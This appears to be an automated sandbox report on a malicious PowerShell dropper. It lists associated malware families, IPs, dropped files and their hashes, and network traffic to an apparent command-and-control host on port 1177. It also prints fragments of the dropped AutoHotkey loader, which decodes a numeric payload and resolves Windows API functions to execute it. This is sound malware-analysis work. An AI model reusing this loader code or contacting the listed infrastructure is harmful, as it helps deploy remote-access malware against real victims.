                                                    09:20:12Task SchedulerRun new task: 3losh path: C:\Users\Public\Documents\AutoHotkey64.exe

                                                    Joe Sandbox View / Context

                                                    IPs

                                                    MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                    208.95.112.1Shipping Bill No6239999Dt09122024.PDF.jarGet hashmaliciousCaesium Obfuscator, STRRATBrowse
                                                    • ip-api.com/json/
                                                    Shipping Bill No6239999Dt09122024.PDF.jarGet hashmaliciousCaesium Obfuscator, STRRATBrowse
                                                    • ip-api.com/json/
                                                    Shipping Bill6239999 dated 13122024.PDF.jarGet hashmaliciousCaesium Obfuscator, STRRATBrowse
                                                    • ip-api.com/json/
                                                    Creal.exeGet hashmaliciousBlackshadesBrowse
                                                    • ip-api.com/json/
                                                    factura 000601.exeGet hashmaliciousAgentTesla, PureLog StealerBrowse
                                                    • ip-api.com/line/?fields=hosting
                                                    Orden de compra_#000000090764534236475890765432567890765768978687569867970875766868.exeGet hashmaliciousAgentTeslaBrowse
                                                    • ip-api.com/line/?fields=hosting
                                                    msedge.exeGet hashmaliciousXWormBrowse
                                                    • ip-api.com/line/?fields=hosting
                                                    imagelogger.exeGet hashmaliciousXWormBrowse
                                                    • ip-api.com/line/?fields=hosting
                                                    NJRAT DANGEROUS.exeGet hashmaliciousXWormBrowse
                                                    • ip-api.com/line/?fields=hosting
                                                    com surrogate.exeGet hashmaliciousXWormBrowse
                                                    • ip-api.com/line/?fields=hosting

                                                    Domains

                                                    MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                    ip-api.comhttps://funcilnewshical.com/76e41238-e8a4-483e-8f1d-ad83b34d4805?batchid=Douglasgrimes-Testsetup&carrier=carrier&textid=textid&brand=register.douglasgrimes.com&source=source&messageId=messageId&name=Lisa&phone=phone&step=step&domain=domain&cost=costGet hashmaliciousUnknownBrowse
                                                    • 208.95.112.2
                                                    Shipping Bill No6239999Dt09122024.PDF.jarGet hashmaliciousCaesium Obfuscator, STRRATBrowse
                                                    • 208.95.112.1
                                                    Shipping Bill No6239999Dt09122024.PDF.jarGet hashmaliciousCaesium Obfuscator, STRRATBrowse
                                                    • 208.95.112.1
                                                    Shipping Bill6239999 dated 13122024.PDF.jarGet hashmaliciousCaesium Obfuscator, STRRATBrowse
                                                    • 208.95.112.1
                                                    Creal.exeGet hashmaliciousBlackshadesBrowse
                                                    • 208.95.112.1
                                                    factura 000601.exeGet hashmaliciousAgentTesla, PureLog StealerBrowse
                                                    • 208.95.112.1
                                                    Orden de compra_#000000090764534236475890765432567890765768978687569867970875766868.exeGet hashmaliciousAgentTeslaBrowse
                                                    • 208.95.112.1
                                                    msedge.exeGet hashmaliciousXWormBrowse
                                                    • 208.95.112.1
                                                    imagelogger.exeGet hashmaliciousXWormBrowse
                                                    • 208.95.112.1
                                                    NJRAT DANGEROUS.exeGet hashmaliciousXWormBrowse
                                                    • 208.95.112.1

                                                    ASNs

                                                    MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                    USG-CORPORATIONUSgw3yTM2uiZ.elfGet hashmaliciousMiraiBrowse
                                                    • 66.225.192.17
                                                    HH1taEkC4e.exeGet hashmaliciousAsyncRAT, NeshtaBrowse
                                                    • 66.225.254.138
                                                    mfyPnr7Rxa.exeGet hashmaliciousLummaC, Glupteba, LummaC Stealer, SmokeLoader, StealcBrowse
                                                    • 66.225.241.7
                                                    https://fundacionjuntospodemos.com/scallerings/dlrP/PqUhzU/cGF0cmljZS53b2xmZUBhZ3NoZWFsdGguY29tGet hashmaliciousUnknownBrowse
                                                    • 66.225.241.82
                                                    Request for Quotation.exeGet hashmaliciousUnknownBrowse
                                                    • 66.225.241.24
                                                    jQegXWWQ3V.exeGet hashmaliciousFormBook, GuLoaderBrowse
                                                    • 66.225.241.82
                                                    TNT Original Invoice.exeGet hashmaliciousFormBookBrowse
                                                    • 66.225.241.38
                                                    TNT Original Invoice.exeGet hashmaliciousFormBookBrowse
                                                    • 66.225.241.38
                                                    PAYMENT COPY.exeGet hashmaliciousFormBookBrowse
                                                    • 66.225.241.38
                                                    PAYMENT COPY.exeGet hashmaliciousFormBookBrowse
                                                    • 66.225.241.38
                                                    TUT-ASUShttps://funcilnewshical.com/76e41238-e8a4-483e-8f1d-ad83b34d4805?batchid=Douglasgrimes-Testsetup&carrier=carrier&textid=textid&brand=register.douglasgrimes.com&source=source&messageId=messageId&name=Lisa&phone=phone&step=step&domain=domain&cost=costGet hashmaliciousUnknownBrowse
                                                    • 208.95.112.2
                                                    Shipping Bill No6239999Dt09122024.PDF.jarGet hashmaliciousCaesium Obfuscator, STRRATBrowse
                                                    • 208.95.112.1
                                                    Shipping Bill No6239999Dt09122024.PDF.jarGet hashmaliciousCaesium Obfuscator, STRRATBrowse
                                                    • 208.95.112.1
                                                    Shipping Bill6239999 dated 13122024.PDF.jarGet hashmaliciousCaesium Obfuscator, STRRATBrowse
                                                    • 208.95.112.1
                                                    Creal.exeGet hashmaliciousBlackshadesBrowse
                                                    • 208.95.112.1
                                                    factura 000601.exeGet hashmaliciousAgentTesla, PureLog StealerBrowse
                                                    • 208.95.112.1
                                                    Orden de compra_#000000090764534236475890765432567890765768978687569867970875766868.exeGet hashmaliciousAgentTeslaBrowse
                                                    • 208.95.112.1
                                                    msedge.exeGet hashmaliciousXWormBrowse
                                                    • 208.95.112.1
                                                    imagelogger.exeGet hashmaliciousXWormBrowse
                                                    • 208.95.112.1
                                                    NJRAT DANGEROUS.exeGet hashmaliciousXWormBrowse
                                                    • 208.95.112.1

                                                    JA3 Fingerprints

                                                    ⊘No context

                                                    Dropped Files

                                                    MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                    C:\Users\Public\Documents\AutoHotkey64.exeAutoHotkey_1.1.37.02_setup.exeGet hashmaliciousUnknownBrowse
                                                      u5xsMlmIem.exeGet hashmaliciousAsyncRATBrowse
                                                        #U05ea#U05d9#U05e7 #U05d4#U05d7#U05e7#U05d9#U05e8#U05d4.vbsGet hashmaliciousAsyncRATBrowse

                                                          Created / dropped Files

                                                          C:\Users\Public\Documents\A.txt

                                                          Download File
                                                          Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                          File Type:ASCII text, with very long lines (65536), with no line terminators
                                                          Category:dropped
                                                          Size (bytes):343365
                                                          Entropy (8bit):3.0713585039960165
                                                          Encrypted:false
                                                          SSDEEP:768:XCqqmw+uHEp6tGiO4XVE1ryiPZDIikWTFWLlcJoPJJL1PhNhEA83ZwCcwB9zMaiU:XC1HYVcY74XgMIndr2Q2bUuQ6628
                                                          MD5:9B901A1386E04B0B0E5CC79A145C0E61
                                                          SHA1:53555BC6BE482B80DCE9BB175474ABF48B72BD40
                                                          SHA-256:17409213D1370B4B30C07CD73B33EC7EE7CEB78245082654831BCD35B555B290
                                                          SHA-512:8572814FB3B14FB3ADF2F36263C13D7A38603E53754BDBA78AE16FA908A921C8C36F110A45778A76152C0698F545538454A5EEF2FB2DACA3146985B35B43EC36
                                                          Malicious:false
                                                          Preview:38.5, 45, 72, 0, 1.5, 0, 0, 0, 2, 0, 0, 0, 127.5, 127.5, 0, 0, 92, 0, 0, 0, 0, 0, 0, 0, 32, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 64, 0, 0, 0, 7, 15.5, 93, 7, 0, 90, 4.5, 102.5, 16.5, 92, 0.5, 38, 102.5, 16.5, 42, 52, 52.5, 57.5, 16, 56, 57, 55.5, 51.5, 57, 48.5, 54.5, 16, 49.5, 48.5, 55, 55, 55.5, 58, 16, 49, 50.5, 16, 57, 58.5, 55, 16, 52.5, 55, 16, 34, 39.5, 41.5, 16, 54.5, 55.5, 50, 50.5, 23, 6.5, 6.5, 5, 18, 0, 0, 0, 0, 0, 0, 0, 40, 34.5, 0, 0, 38, 0.5, 1.5, 0, 63.5, 30, 44, 51.5, 0, 0, 0, 0, 0, 0, 0, 0, 112, 0, 1, 0.5, 5.5, 0.5, 4, 0, 0, 24, 0.5, 0, 0, 5, 0, 0, 0, 0, 0, 0, 23, 39, 0.5, 0, 0, 16, 0, 0, 0, 0, 0, 0, 0, 0, 32, 0, 0, 16, 0, 0, 0, 1, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0, 0, 80, 0.5, 0, 0, 1, 0, 0, 0, 0, 0, 0, 1, 0, 48, 66.5, 0, 0, 8, 0, 0, 8, 0, 0, 0, 0, 8, 0, 0, 8, 0, 0, 0, 0, 0, 0, 8, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 106, 38.5, 0.5, 0, 43.5, 0, 0, 0, 0, 48, 0.5, 0, 0, 4, 0, 0, 0, 0, 0,

                                                          C:\Users\Public\Documents\AutoHotkey64.ahk

                                                          Download File
                                                          Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                          File Type:ASCII text, with CRLF line terminators
                                                          Category:dropped
                                                          Size (bytes):6556
                                                          Entropy (8bit):4.705228282920758
                                                          Encrypted:false
                                                          SSDEEP:192:aeSwhblP7Z6Z3j9RamZcTMirN0V8zsgBZnK+p5x:Dblshpk7TMirN0VosgBtK+l
                                                          MD5:A51D3CC02396652AC39DE494E7D725D6
                                                          SHA1:E4659A4561AC38659F7786F78485086AA1573036
                                                          SHA-256:D2FB28BBAFA9B105BED3334225778451529CBB2F847594021CCCFAB7F7D69C5D
                                                          SHA-512:A4D2D3CA7D4D7CA7DCDCD8F7A46004ADE1CFF22F335B488972070D83602FB30D0B684FDA4CD2677CCEFB7AFDABCEB1D642152759B2F6C1796F3011DAD272DDA8
                                                          Malicious:false
                                                          Preview:ReadFromFile(path) {.. FileRead, fileContents, %path%.... SplitArray := StrSplit(fileContents, ",").... bufferArr := [].... Loop, % SplitArray.MaxIndex().. {.. bufferArr.Push(Ceil(SplitArray[A_Index] * 2)).. }.. return bufferArr..}....GetFunctionPtr(lib, FuncName) {.. ; Load the DLL.. pHandle := DllCall("LoadLibraryA", "astr", lib, "ptr").. if (pHandle = 0) {.. return 0.. }.... ; Get the function pointer.. pMethod := DllCall("GetProcAddress", "ptr", pHandle, "astr", FuncName, "ptr").. if (pMethod = 0) {.. DllCall("FreeLibrary", "ptr", pHandle).. return 0.. }.... return pMethod..}....Execute(buffer, path) {.... bufferLength := buffer.Length().. VarSetCapacity(payload, bufferLength).... Loop % buffer.Length().. {.. byteValue := buffer[A_Index].. NumPut(byteValue, &payload, (A_Index -1), "char").. }.... ; Constant.. STARTF_USESHOWWINDOW := 0x00000001.. SW_SHOWNORMAL := 1..

                                                          C:\Users\Public\Documents\AutoHotkey64.exe

                                                          Download File
                                                          Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                          File Type:PE32+ executable (GUI) x86-64, for MS Windows
                                                          Category:dropped
                                                          Size (bytes):1319936
                                                          Entropy (8bit):6.464964894032244
                                                          Encrypted:false
                                                          SSDEEP:24576:a3CTQQje6KWjFUsTNEDcN20pah5nQsrivkdhWeWr2O8hYzlj1TNp4j7YoqK:a3CTQQjxKWjFUsTWDcN20k5nQsrivkdq
                                                          MD5:2D0600FE2B1B3BDC45D833CA32A37FDB
                                                          SHA1:E9A7411BFEF54050DE3B485833556F84CABD6E41
                                                          SHA-256:EFFDEA83C6B7A1DC2CE9E9D40E91DFD59BED9FCBD580903423648B7CA97D9696
                                                          SHA-512:9891CD6D2140C3A5C20D5C2D6600F3655DF437B99B09AE0F9DAF1983190DC73385CC87F02508997BB696AC921EEE43FCCDF1DC210CC602938807BDB062CE1703
                                                          Malicious:true
                                                          Antivirus:
                                                          • Antivirus: ReversingLabs, Detection: 3%
                                                          Joe Sandbox View:
                                                          • Filename: AutoHotkey_1.1.37.02_setup.exe, Detection: malicious, Browse
                                                          • Filename: u5xsMlmIem.exe, Detection: malicious, Browse
                                                          • Filename: #U05ea#U05d9#U05e7 #U05d4#U05d7#U05e7#U05d9#U05e8#U05d4.vbs, Detection: malicious, Browse
                                                          Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1..P...P...P..]./..P.......P......YP...(4..P...(0..P...($..P...P..(Q....)..P.......P....-..P....*..P..Rich.P..........PE..d....5.e..........#............................@..............................................@.................................................,....0..................................................................................P............................text...6........................... ..`.rdata...I.......J..................@..@.data........0...R..................@....pdata...............p..............@..@text.....%.......&..................@.. data.....n.......p..................@..@.rsrc........0......................@..@................................................................................................................................................................................................................

                                                          C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\AddInProcess32.exe.log

                                                          Download File
                                                          Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
                                                          File Type:ASCII text, with CRLF line terminators
                                                          Category:dropped
                                                          Size (bytes):609
                                                          Entropy (8bit):5.356231720746034
                                                          Encrypted:false
                                                          SSDEEP:12:Q3La/hhkvoDLI4MWuCqDLI4MWuPTAq1KDLI4M9XKbbDLI4MWuPJKAVKhav:MLUE4K5E4KH1qE4qXKDE4KhKiKhk
                                                          MD5:A383F068145321195B33BC8EDBB8FEAB
                                                          SHA1:6CA228B1376FAE1E2D1A382497BC3A6C5A525EDD
                                                          SHA-256:C6A811C868B6D9AC8C4B2BB9432539BF8B1422FC21A7ACD81A3EC57FA478BCAA
                                                          SHA-512:134B3B63D6304E0A9AEE3512D41E98CF327D20CFF503AAACC49514842768DC2B75D2AD7487176A036A0ECBEFD17EB3046D5FE4D9EC58ED3C5A37BDBA6D40519C
                                                          Malicious:false
                                                          Preview:1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..

                                                          C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                          Download File
                                                          Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                          File Type:data
                                                          Category:dropped
                                                          Size (bytes):2904
                                                          Entropy (8bit):5.239599278702704
                                                          Encrypted:false
                                                          SSDEEP:48:xmnSU4y4RQmFoUeComfm9qr9trBLNWiQULJ6D6rsQzZVwn8/oLg96GfJ:ISHyIFKL4O9qrPBRWi3Hzgbggu
                                                          MD5:F49003EF213C424E426E416F4F632899
                                                          SHA1:A918A8E33B2F9EA99F972D009F437CD71E651522
                                                          SHA-256:A62384748C157882991392D6160AC44428AA42CF38DB212869C86163DE30CD0E
                                                          SHA-512:B8D958C73B0340EECAC9347F9945E265DF92FAA9D86469A5CCE1BBB33FA44B0AB01F0B840DCCF32693ED15C631248DEE572DE5FF86D6AC26FE0DBD9D9CA7EBD2
                                                          Malicious:false
                                                          Preview:@...e.................................L..............@..........8.................C}...C....n..B........Microsoft.CSharpH...............o..b~.D.poM......... .Microsoft.PowerShell.ConsoleHost0......................C.l]..7.s........System..4....................D...{..|f........System.Core.D...............4..7..D.#V.............System.Management.AutomationL.................*gQ?O.....x5.......#.Microsoft.Management.Infrastructure.<................t.,.lG....M...........System.Management...@................z.U..G...5.f.1........System.DirectoryServices4.................%...K... ...........System.Xml..8..................1...L..U;V.<}........System.Numerics.4.................0..~.J.R...L........System.Data.<...............i..VdqF...|...........System.ConfigurationH................WY..2.M.&..g*(g........Microsoft.PowerShell.Security...<................$@...J....M+.B........System.Transactions.P................1]...E...........(.Microsoft.PowerShell.Commands.ManagementD.......

                                                          C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ehgsqvhe.utp.psm1

                                                          Download File
                                                          Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                          File Type:ASCII text, with no line terminators
                                                          Category:dropped
                                                          Size (bytes):60
                                                          Entropy (8bit):4.038920595031593
                                                          Encrypted:false
                                                          SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                          MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                          SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                          SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                          SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                          Malicious:false
                                                          Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                          C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_lolkrnlj.vyx.ps1

                                                          Download File
                                                          Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                          File Type:ASCII text, with no line terminators
                                                          Category:dropped
                                                          Size (bytes):60
                                                          Entropy (8bit):4.038920595031593
                                                          Encrypted:false
                                                          SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                          MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                          SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                          SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                          SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                          Malicious:false
                                                          Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                          C:\Users\user\AppData\Roaming\Logs\12-18-2024

                                                          Download File
                                                          Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
                                                          File Type:data
                                                          Category:dropped
                                                          Size (bytes):224
                                                          Entropy (8bit):7.05936887285386
                                                          Encrypted:false
                                                          SSDEEP:6:6ZHGSJ+mgvmyhPKWCjOj69zEMGfjhjCFt6Q:6ZmSwmgv3r3jtMGjh2FgQ
                                                          MD5:AFA4B3D2C2BD151DAA90B9A5266AC87F
                                                          SHA1:77B8DCE503E6054A30BBE8A7937B3CB839432A3B
                                                          SHA-256:02BCF40FE0C88699FA016DF13A39F653B55BE8ADA9CFEEEE16AF93E2F660D94D
                                                          SHA-512:CFDEE1ADC208EA3C87CAF82403E927363F183FEA64041B883D47CB3A3C31FF6D8F73B962B39C44F5B6324C34266DB65317BD3A0F99A722971CF6AF673076D969
                                                          Malicious:false
                                                          Preview:.._.?.q..5O..KW|..K.y.....3f.[y...s Fq..C.6....g.8..K........_.....P..%...3....s..j....=.Z...3....p..t.?t.a.<.b.-..u...%^.uZ...C...A....Wr.9..W{>..uv..[..?.....i..n*......o.W....~...S..46.?....( l....r.....|.".Gr.

                                                          C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms (copy)

                                                          Download File
                                                          Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                          File Type:data
                                                          Category:dropped
                                                          Size (bytes):6221
                                                          Entropy (8bit):3.7337626807600497
                                                          Encrypted:false
                                                          SSDEEP:48:tJIHwpLPr3C4U284jXoukvhkvklCywrmdXt17lhEKSogZo+3t17luEKSogZo61:rrp33CxH4NkvhkvCCtct17MHLt17lHF
                                                          MD5:FBB386E872BF73730E6F99316BBA486A
                                                          SHA1:6012776751CF48351B518B8799C67A6609D9E076
                                                          SHA-256:139FAFBE0F352341A8B8ACF126F1EC80623A25FB6F02936EB23E189825F3C658
                                                          SHA-512:48B2AEF801CC5EA70FDD1D4684CE0D9EA147E08E9E0D0A050052B17A4DE25083F282EC081AA3BECA0AE5DF10BCABF65E7EA62A1FC13ED029E1D327BFAE8D1DDA
                                                          Malicious:false
                                                          Preview:...................................FL..................F.".. ...-/.v....e....Q..z.:{.............................:..DG..Yr?.D..U..k0.&...&......vk.v..../M...Q...h...Q......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^.Y.J...........................%..A.p.p.D.a.t.a...B.V.1......Y.J..Roaming.@......CW.^.Y.J...........................6..R.o.a.m.i.n.g.....\.1.....DW.N..MICROS~1..D......CW.^.Y.J..........................9D..M.i.c.r.o.s.o.f.t.....V.1.....DWT`..Windows.@......CW.^DWT`...........................C<.W.i.n.d.o.w.s.......1.....CW.^..STARTM~1..n......CW.^DW.`....................D.....=X..S.t.a.r.t. .M.e.n.u...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.6.......1.....DW.N..Programs..j......CW.^DW.`....................@.........P.r.o.g.r.a.m.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.2.....n.1......O.K..WINDOW~1..V......CW.^DW.`..........................d...W.i.n.d.o.w.s. .P.o.w.e.r.S.h.e.l.l.....z.2......O.I .WINDOW~1.LNK..^......CW.^.Y.J....Q...........

                                                          C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\EGMBDDDRSIC84HDBHO5E.temp

                                                          Download File
                                                          Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                          File Type:data
                                                          Category:dropped
                                                          Size (bytes):6221
                                                          Entropy (8bit):3.7337626807600497
                                                          Encrypted:false
                                                          SSDEEP:48:tJIHwpLPr3C4U284jXoukvhkvklCywrmdXt17lhEKSogZo+3t17luEKSogZo61:rrp33CxH4NkvhkvCCtct17MHLt17lHF
                                                          MD5:FBB386E872BF73730E6F99316BBA486A
                                                          SHA1:6012776751CF48351B518B8799C67A6609D9E076
                                                          SHA-256:139FAFBE0F352341A8B8ACF126F1EC80623A25FB6F02936EB23E189825F3C658
                                                          SHA-512:48B2AEF801CC5EA70FDD1D4684CE0D9EA147E08E9E0D0A050052B17A4DE25083F282EC081AA3BECA0AE5DF10BCABF65E7EA62A1FC13ED029E1D327BFAE8D1DDA
                                                          Malicious:false
                                                          Preview:...................................FL..................F.".. ...-/.v....e....Q..z.:{.............................:..DG..Yr?.D..U..k0.&...&......vk.v..../M...Q...h...Q......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^.Y.J...........................%..A.p.p.D.a.t.a...B.V.1......Y.J..Roaming.@......CW.^.Y.J...........................6..R.o.a.m.i.n.g.....\.1.....DW.N..MICROS~1..D......CW.^.Y.J..........................9D..M.i.c.r.o.s.o.f.t.....V.1.....DWT`..Windows.@......CW.^DWT`...........................C<.W.i.n.d.o.w.s.......1.....CW.^..STARTM~1..n......CW.^DW.`....................D.....=X..S.t.a.r.t. .M.e.n.u...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.6.......1.....DW.N..Programs..j......CW.^DW.`....................@.........P.r.o.g.r.a.m.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.2.....n.1......O.K..WINDOW~1..V......CW.^DW.`..........................d...W.i.n.d.o.w.s. .P.o.w.e.r.S.h.e.l.l.....z.2......O.I .WINDOW~1.LNK..^......CW.^.Y.J....Q...........

                                                          Static File Info

                                                          General

                                                          File type:ASCII text, with very long lines (65279), with CRLF line terminators
                                                          Entropy (8bit):5.502495834053039
                                                          TrID:
                                                            File name:x.ps1
                                                            File size:2'113'070 bytes
                                                            MD5:97646b99bb7245a7be3bbe8a0ff06348
                                                            SHA1:33edac8a75cac4a0a1d084174b3dc912b9744386
                                                            SHA256:3496b253962f9fad33450751e615e676ad8f847d11c50df45a35647b2534755d
                                                            SHA512:066b635e03bf515f75327388d7118560fbf84fe4d5b64740c3b5a101123650ccb9d9252597301b78bf3a4849a57d73bd3f12192531e856fc6fbbce4b66571b2b
                                                            SSDEEP:24576:bSgmuyXfET5YN3b2LLG1z/7E4/KpdMJczdsrbI8:biMSNKLq1zjA2
                                                            TLSH:B0A51AF20ACA6BB91298ED7C41431D462EDDD58F311ED10FF6C9A47AE66E8048E4DF90
                                                            File Content Preview:............$DocPath = [System.Environment]::GetFolderPath('CommonDocuments')..$scriptPath = $PSCommandPath;..$scriptContent = Get-Content $scriptPath; ..$comments = $scriptContent | Where-Object { $_ -match '^\s*#' };..$arrComments = $comments.Split('#')

                                                            File Icon

                                                            Icon Hash:3270d6baae77db44

                                                            Network Behavior

                                                            Suricata IDS Alerts

                                                            TimestampSIDSignatureSeveritySource IPSource PortDest IPDest PortProtocol
                                                            2024-12-18T10:20:20.337990+01002036383ET MALWARE Common RAT Connectivity Check Observed1192.168.2.449730208.95.112.180TCP

                                                            Network Port Distribution

                                                            TCP Packets

                                                            TimestampSource PortDest PortSource IPDest IP
                                                            Dec 18, 2024 10:20:19.082365036 CET4973080192.168.2.4208.95.112.1
                                                            Dec 18, 2024 10:20:19.201963902 CET8049730208.95.112.1192.168.2.4
                                                            Dec 18, 2024 10:20:19.202049017 CET4973080192.168.2.4208.95.112.1
                                                            Dec 18, 2024 10:20:19.202399969 CET4973080192.168.2.4208.95.112.1
                                                            Dec 18, 2024 10:20:19.321845055 CET8049730208.95.112.1192.168.2.4
                                                            Dec 18, 2024 10:20:20.297431946 CET8049730208.95.112.1192.168.2.4
                                                            Dec 18, 2024 10:20:20.337990046 CET4973080192.168.2.4208.95.112.1
                                                            Dec 18, 2024 10:20:20.820822954 CET497311177192.168.2.466.225.254.246
                                                            Dec 18, 2024 10:20:20.940785885 CET11774973166.225.254.246192.168.2.4
                                                            Dec 18, 2024 10:20:20.941066027 CET497311177192.168.2.466.225.254.246
                                                            Dec 18, 2024 10:20:22.069144011 CET11774973166.225.254.246192.168.2.4
                                                            Dec 18, 2024 10:20:22.244276047 CET497311177192.168.2.466.225.254.246
                                                            Dec 18, 2024 10:20:25.200897932 CET497311177192.168.2.466.225.254.246
                                                            Dec 18, 2024 10:20:25.320632935 CET11774973166.225.254.246192.168.2.4
                                                            Dec 18, 2024 10:20:25.525367975 CET11774973166.225.254.246192.168.2.4
                                                            Dec 18, 2024 10:20:25.527713060 CET497311177192.168.2.466.225.254.246
                                                            Dec 18, 2024 10:20:25.647857904 CET11774973166.225.254.246192.168.2.4
                                                            Dec 18, 2024 10:20:25.859844923 CET11774973166.225.254.246192.168.2.4
                                                            Dec 18, 2024 10:20:25.859890938 CET11774973166.225.254.246192.168.2.4
                                                            Dec 18, 2024 10:20:25.859906912 CET11774973166.225.254.246192.168.2.4
                                                            Dec 18, 2024 10:20:25.859946966 CET497311177192.168.2.466.225.254.246
                                                            Dec 18, 2024 10:20:25.979541063 CET11774973166.225.254.246192.168.2.4
                                                            Dec 18, 2024 10:20:25.979609966 CET497311177192.168.2.466.225.254.246
                                                            Dec 18, 2024 10:20:25.979634047 CET11774973166.225.254.246192.168.2.4
                                                            Dec 18, 2024 10:20:25.979661942 CET11774973166.225.254.246192.168.2.4
                                                            Dec 18, 2024 10:20:25.979676962 CET11774973166.225.254.246192.168.2.4
                                                            Dec 18, 2024 10:20:25.979691029 CET11774973166.225.254.246192.168.2.4
                                                            Dec 18, 2024 10:20:25.979706049 CET497311177192.168.2.466.225.254.246
                                                            Dec 18, 2024 10:20:25.979707003 CET11774973166.225.254.246192.168.2.4
                                                            Dec 18, 2024 10:20:25.979721069 CET11774973166.225.254.246192.168.2.4
                                                            Dec 18, 2024 10:20:25.979727030 CET497311177192.168.2.466.225.254.246
                                                            Dec 18, 2024 10:20:25.979736090 CET11774973166.225.254.246192.168.2.4
                                                            Dec 18, 2024 10:20:25.979752064 CET11774973166.225.254.246192.168.2.4
                                                            Dec 18, 2024 10:20:25.979765892 CET497311177192.168.2.466.225.254.246
                                                            Dec 18, 2024 10:20:25.979793072 CET497311177192.168.2.466.225.254.246
                                                            Dec 18, 2024 10:20:25.979872942 CET11774973166.225.254.246192.168.2.4
                                                            Dec 18, 2024 10:20:26.041142941 CET497311177192.168.2.466.225.254.246
                                                            Dec 18, 2024 10:20:26.050941944 CET11774973166.225.254.246192.168.2.4
                                                            Dec 18, 2024 10:20:26.051007986 CET11774973166.225.254.246192.168.2.4
                                                            Dec 18, 2024 10:20:26.051059008 CET497311177192.168.2.466.225.254.246
                                                            Dec 18, 2024 10:20:26.099457026 CET11774973166.225.254.246192.168.2.4
                                                            Dec 18, 2024 10:20:26.099548101 CET11774973166.225.254.246192.168.2.4
                                                            Dec 18, 2024 10:20:26.099598885 CET497311177192.168.2.466.225.254.246
                                                            Dec 18, 2024 10:20:26.103622913 CET11774973166.225.254.246192.168.2.4
                                                            Dec 18, 2024 10:20:26.103708029 CET11774973166.225.254.246192.168.2.4
                                                            Dec 18, 2024 10:20:26.103769064 CET497311177192.168.2.466.225.254.246
                                                            Dec 18, 2024 10:20:26.112091064 CET11774973166.225.254.246192.168.2.4
                                                            Dec 18, 2024 10:20:26.112420082 CET11774973166.225.254.246192.168.2.4
                                                            Dec 18, 2024 10:20:26.112468004 CET497311177192.168.2.466.225.254.246
                                                            Dec 18, 2024 10:20:26.120481968 CET11774973166.225.254.246192.168.2.4
                                                            Dec 18, 2024 10:20:26.120654106 CET11774973166.225.254.246192.168.2.4
                                                            Dec 18, 2024 10:20:26.120699883 CET497311177192.168.2.466.225.254.246
                                                            Dec 18, 2024 10:20:26.128902912 CET11774973166.225.254.246192.168.2.4
                                                            Dec 18, 2024 10:20:26.129017115 CET11774973166.225.254.246192.168.2.4
                                                            Dec 18, 2024 10:20:26.129061937 CET497311177192.168.2.466.225.254.246
